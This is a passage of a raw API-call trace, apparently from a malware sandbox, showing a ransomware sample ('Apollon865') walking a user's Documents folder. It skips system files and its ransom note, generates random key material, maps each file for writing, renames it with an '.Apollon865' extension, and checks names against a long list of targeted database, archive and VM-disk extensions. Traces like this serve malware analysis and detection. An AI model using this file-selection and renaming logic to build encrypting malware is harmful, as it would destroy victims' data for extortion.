	[0089.064] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=49123) returned 1
	[0089.064] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0089.064] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0089.064] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0089.064] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0089.065] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0089.065] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0089.065] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc2f0, lpName=0x0) returned 0x15c
	[0089.065] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc2f0) returned 0x100000
	[0089.068] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0089.068] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0089.068] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0089.068] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0089.068] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0089.069] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0089.069] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0089.069] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0089.069] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0089.069] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0089.069] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0089.069] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0089.069] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0089.069] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0089.070] CloseHandle (hObject=0x15c) returned 1
	[0089.070] CloseHandle (hObject=0x9c) returned 1
	[0089.071] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0089.071] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0089.071] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0089.071] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21f7dd40, ftCreationTime.dwHighDateTime=0x1d4d045, ftLastAccessTime.dwLowDateTime=0x844f0860, ftLastAccessTime.dwHighDateTime=0x1d4d09a, ftLastWriteTime.dwLowDateTime=0x844f0860, ftLastWriteTime.dwHighDateTime=0x1d4d09a, nFileSizeHigh=0x0, nFileSizeLow=0x4712, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BpE2.ots", cAlternateFileName="")) returned 1
	[0089.071] lstrcmpiW (lpString1="BpE2.ots", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0089.071] lstrcmpiW (lpString1="BpE2.ots", lpString2="Apollon865.txt.exe") returned 1
	[0089.071] lstrcmpiW (lpString1="BpE2.ots", lpString2=".") returned 1
	[0089.071] lstrcmpiW (lpString1="BpE2.ots", lpString2="..") returned 1
	[0089.071] lstrcmpiW (lpString1="BpE2.ots", lpString2="windows") returned -1
	[0089.071] lstrcmpiW (lpString1="BpE2.ots", lpString2="bootmgr") returned 1
	[0089.071] lstrcmpiW (lpString1="BpE2.ots", lpString2="temp") returned -1
	[0089.071] lstrcmpiW (lpString1="BpE2.ots", lpString2="pagefile.sys") returned -1
	[0089.071] lstrcmpiW (lpString1="BpE2.ots", lpString2="boot") returned 1
	[0089.071] lstrcmpiW (lpString1="BpE2.ots", lpString2="ids.txt") returned -1
	[0089.071] lstrcmpiW (lpString1="BpE2.ots", lpString2="ntuser.dat") returned -1
	[0089.071] lstrcmpiW (lpString1="BpE2.ots", lpString2="perflogs") returned -1
	[0089.071] lstrcmpiW (lpString1="BpE2.ots", lpString2="MSBuild") returned -1
	[0089.071] lstrlenW (lpString="BpE2.ots") returned 8
	[0089.072] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\AXN5p.docx") returned 50
	[0089.072] lstrcpyW (in: lpString1=0x119e658, lpString2="BpE2.ots" | out: lpString1="BpE2.ots") returned="BpE2.ots"
	[0089.072] lstrlenW (lpString="BpE2.ots") returned 8
	[0089.072] lstrlenW (lpString="Apollon865") returned 10
	[0089.072] lstrlenW (lpString=".dll") returned 4
	[0089.072] lstrcmpiW (lpString1="BpE2.ots", lpString2=".dll") returned 1
	[0089.072] lstrlenW (lpString=".lnk") returned 4
	[0089.072] lstrcmpiW (lpString1="BpE2.ots", lpString2=".lnk") returned 1
	[0089.072] lstrlenW (lpString=".ini") returned 4
	[0089.072] lstrcmpiW (lpString1="BpE2.ots", lpString2=".ini") returned 1
	[0089.072] lstrlenW (lpString=".sys") returned 4
	[0089.072] lstrcmpiW (lpString1="BpE2.ots", lpString2=".sys") returned 1
	[0089.072] lstrlenW (lpString="BpE2.ots") returned 8
	[0089.072] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BpE2.ots.Apollon865") returned 59
	[0089.072] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BpE2.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bpe2.ots"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BpE2.ots.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bpe2.ots.apollon865"), dwFlags=0x1) returned 1
	[0089.074] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BpE2.ots.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bpe2.ots.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0089.074] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=18194) returned 1
	[0089.074] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0089.075] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0089.075] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0089.075] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0089.076] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0089.076] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0089.076] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4a20, lpName=0x0) returned 0x15c
	[0089.076] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4a20) returned 0x100000
	[0089.077] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0089.078] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0089.078] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0089.078] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0089.078] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0089.078] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0089.078] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0089.078] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0089.078] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0089.078] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0089.078] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0089.078] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0089.078] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0089.078] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0089.078] CloseHandle (hObject=0x15c) returned 1
	[0089.078] CloseHandle (hObject=0x9c) returned 1
	[0089.079] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0089.079] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0089.080] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0089.080] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0089.080] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0089.080] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0089.080] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0089.080] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0089.080] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0089.080] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0089.080] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0089.080] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0089.080] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0089.080] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0089.080] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0089.080] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0089.080] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0089.080] lstrlenW (lpString="desktop.ini") returned 11
	[0089.080] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BpE2.ots") returned 48
	[0089.080] lstrcpyW (in: lpString1=0x119e658, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0089.080] lstrlenW (lpString="desktop.ini") returned 11
	[0089.080] lstrlenW (lpString="Apollon865") returned 10
	[0089.081] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0089.081] lstrlenW (lpString=".dll") returned 4
	[0089.081] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0089.081] lstrlenW (lpString=".lnk") returned 4
	[0089.081] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0089.081] lstrlenW (lpString=".ini") returned 4
	[0089.081] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0089.081] lstrlenW (lpString=".sys") returned 4
	[0089.081] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0089.081] lstrlenW (lpString="desktop.ini") returned 11
	[0089.081] lstrlenW (lpString="bak") returned 3
	[0089.081] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0089.081] lstrlenW (lpString="ba_") returned 3
	[0089.081] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0089.081] lstrlenW (lpString="dbb") returned 3
	[0089.081] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0089.081] lstrlenW (lpString="vmdk") returned 4
	[0089.081] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0089.081] lstrlenW (lpString="rar") returned 3
	[0089.081] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0089.081] lstrlenW (lpString="zip") returned 3
	[0089.081] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0089.081] lstrlenW (lpString="tgz") returned 3
	[0089.081] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0089.081] lstrlenW (lpString="vbox") returned 4
	[0089.081] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0089.081] lstrlenW (lpString="vdi") returned 3
	[0089.081] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0089.081] lstrlenW (lpString="vhd") returned 3
	[0089.081] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0089.081] lstrlenW (lpString="vhdx") returned 4
	[0089.081] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0089.081] lstrlenW (lpString="avhd") returned 4
	[0089.081] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0089.081] lstrlenW (lpString="db") returned 2
	[0089.082] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0089.082] lstrlenW (lpString="db2") returned 3
	[0089.082] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0089.082] lstrlenW (lpString="db3") returned 3
	[0089.082] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0089.082] lstrlenW (lpString="dbf") returned 3
	[0089.082] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0089.082] lstrlenW (lpString="mdf") returned 3
	[0089.082] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0089.082] lstrlenW (lpString="mdb") returned 3
	[0089.082] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0089.082] lstrlenW (lpString="sql") returned 3
	[0089.082] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0089.082] lstrlenW (lpString="sqlite") returned 6
	[0089.082] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0089.082] lstrlenW (lpString="sqlite3") returned 7
	[0089.082] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0089.082] lstrlenW (lpString="sqlitedb") returned 8
	[0089.082] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0089.082] lstrlenW (lpString="xml") returned 3
	[0089.082] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0089.082] lstrlenW (lpString="$er") returned 3
	[0089.082] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0089.082] lstrlenW (lpString="4dd") returned 3
	[0089.082] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0089.082] lstrlenW (lpString="4dl") returned 3
	[0089.082] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0089.082] lstrlenW (lpString="^^^") returned 3
	[0089.082] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0089.082] lstrlenW (lpString="abs") returned 3
	[0089.082] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0089.082] lstrlenW (lpString="abx") returned 3
	[0089.082] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0089.082] lstrlenW (lpString="accdb") returned 5
	[0089.082] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0089.082] lstrlenW (lpString="accdc") returned 5
	[0089.082] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0089.082] lstrlenW (lpString="accde") returned 5
	[0089.083] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0089.083] lstrlenW (lpString="accdr") returned 5
	[0089.083] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0089.083] lstrlenW (lpString="accdt") returned 5
	[0089.083] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0089.083] lstrlenW (lpString="accdw") returned 5
	[0089.083] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0089.083] lstrlenW (lpString="accft") returned 5
	[0089.083] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0089.083] lstrlenW (lpString="adb") returned 3
	[0089.083] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0089.083] lstrlenW (lpString="adb") returned 3
	[0089.083] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0089.083] lstrlenW (lpString="ade") returned 3
	[0089.083] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0089.083] lstrlenW (lpString="adf") returned 3
	[0089.083] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0089.083] lstrlenW (lpString="adn") returned 3
	[0089.083] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0089.083] lstrlenW (lpString="adp") returned 3
	[0089.083] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0089.083] lstrlenW (lpString="alf") returned 3
	[0089.083] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0089.083] lstrlenW (lpString="ask") returned 3
	[0089.083] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0089.083] lstrlenW (lpString="btr") returned 3
	[0089.083] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0089.083] lstrlenW (lpString="cat") returned 3
	[0089.083] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0089.083] lstrlenW (lpString="cdb") returned 3
	[0089.083] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0089.083] lstrlenW (lpString="ckp") returned 3
	[0089.083] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0089.083] lstrlenW (lpString="cma") returned 3
	[0089.083] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0089.083] lstrlenW (lpString="cpd") returned 3
	[0089.083] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0089.084] lstrlenW (lpString="dacpac") returned 6
	[0089.084] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0089.084] lstrlenW (lpString="dad") returned 3
	[0089.084] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0089.084] lstrlenW (lpString="dadiagrams") returned 10
	[0089.084] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0089.084] lstrlenW (lpString="daschema") returned 8
	[0089.084] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0089.084] lstrlenW (lpString="db-journal") returned 10
	[0089.084] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0089.084] lstrlenW (lpString="db-shm") returned 6
	[0089.084] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0089.084] lstrlenW (lpString="db-wal") returned 6
	[0089.084] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0089.084] lstrlenW (lpString="dbc") returned 3
	[0089.084] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0089.084] lstrlenW (lpString="dbs") returned 3
	[0089.084] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0089.084] lstrlenW (lpString="dbt") returned 3
	[0089.084] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0089.084] lstrlenW (lpString="dbv") returned 3
	[0089.084] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0089.084] lstrlenW (lpString="dbx") returned 3
	[0089.084] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0089.084] lstrlenW (lpString="dcb") returned 3
	[0089.084] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0089.084] lstrlenW (lpString="dct") returned 3
	[0089.084] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0089.084] lstrlenW (lpString="dcx") returned 3
	[0089.084] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0089.084] lstrlenW (lpString="ddl") returned 3
	[0089.084] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0089.084] lstrlenW (lpString="dlis") returned 4
	[0089.084] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0089.084] lstrlenW (lpString="dp1") returned 3
	[0089.084] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0089.084] lstrlenW (lpString="dqy") returned 3
	[0089.084] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0089.085] lstrlenW (lpString="dsk") returned 3
	[0089.085] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0089.085] lstrlenW (lpString="dsn") returned 3
	[0089.085] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0089.085] lstrlenW (lpString="dtsx") returned 4
	[0089.085] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0089.085] lstrlenW (lpString="dxl") returned 3
	[0089.085] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0089.085] lstrlenW (lpString="eco") returned 3
	[0089.085] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0089.085] lstrlenW (lpString="ecx") returned 3
	[0089.085] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0089.085] lstrlenW (lpString="edb") returned 3
	[0089.085] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0089.085] lstrlenW (lpString="epim") returned 4
	[0089.085] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0089.085] lstrlenW (lpString="fcd") returned 3
	[0089.085] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0089.085] lstrlenW (lpString="fdb") returned 3
	[0089.085] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0089.085] lstrlenW (lpString="fic") returned 3
	[0089.085] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0089.085] lstrlenW (lpString="flexolibrary") returned 12
	[0089.085] lstrlenW (lpString="fm5") returned 3
	[0089.085] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0089.085] lstrlenW (lpString="fmp") returned 3
	[0089.085] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0089.085] lstrlenW (lpString="fmp12") returned 5
	[0089.085] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0089.085] lstrlenW (lpString="fmpsl") returned 5
	[0089.085] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0089.085] lstrlenW (lpString="fol") returned 3
	[0089.085] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0089.085] lstrlenW (lpString="fp3") returned 3
	[0089.085] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0089.085] lstrlenW (lpString="fp4") returned 3
	[0089.085] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0089.085] lstrlenW (lpString="fp5") returned 3
	[0089.086] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0089.086] lstrlenW (lpString="fp7") returned 3
	[0089.086] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0089.086] lstrlenW (lpString="fpt") returned 3
	[0089.086] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0089.086] lstrlenW (lpString="frm") returned 3
	[0089.086] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0089.086] lstrlenW (lpString="gdb") returned 3
	[0089.086] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0089.086] lstrlenW (lpString="gdb") returned 3
	[0089.086] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0089.086] lstrlenW (lpString="grdb") returned 4
	[0089.086] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0089.086] lstrlenW (lpString="gwi") returned 3
	[0089.086] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0089.086] lstrlenW (lpString="hdb") returned 3
	[0089.086] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0089.086] lstrlenW (lpString="his") returned 3
	[0089.086] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0089.086] lstrlenW (lpString="ib") returned 2
	[0089.086] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0089.086] lstrlenW (lpString="idb") returned 3
	[0089.086] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0089.086] lstrlenW (lpString="ihx") returned 3
	[0089.086] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0089.086] lstrlenW (lpString="itdb") returned 4
	[0089.086] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0089.086] lstrlenW (lpString="itw") returned 3
	[0089.086] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0089.086] lstrlenW (lpString="jet") returned 3
	[0089.086] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0089.086] lstrlenW (lpString="jtx") returned 3
	[0089.086] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0089.086] lstrlenW (lpString="kdb") returned 3
	[0089.086] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0089.086] lstrlenW (lpString="kexi") returned 4
	[0089.086] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0089.087] lstrlenW (lpString="kexic") returned 5
	[0089.087] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0089.087] lstrlenW (lpString="kexis") returned 5
	[0089.087] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0089.087] lstrlenW (lpString="lgc") returned 3
	[0089.087] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0089.087] lstrlenW (lpString="lwx") returned 3
	[0089.087] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0089.087] lstrlenW (lpString="maf") returned 3
	[0089.087] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0089.087] lstrlenW (lpString="maq") returned 3
	[0089.087] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0089.087] lstrlenW (lpString="mar") returned 3
	[0089.087] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0089.087] lstrlenW (lpString="marshal") returned 7
	[0089.087] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0089.087] lstrlenW (lpString="mas") returned 3
	[0089.087] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0089.087] lstrlenW (lpString="mav") returned 3
	[0089.087] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0089.087] lstrlenW (lpString="maw") returned 3
	[0089.087] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0089.087] lstrlenW (lpString="mdbhtml") returned 7
	[0089.087] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0089.087] lstrlenW (lpString="mdn") returned 3
	[0089.087] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0089.087] lstrlenW (lpString="mdt") returned 3
	[0089.087] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0089.087] lstrlenW (lpString="mfd") returned 3
	[0089.087] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0089.087] lstrlenW (lpString="mpd") returned 3
	[0089.087] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0089.087] lstrlenW (lpString="mrg") returned 3
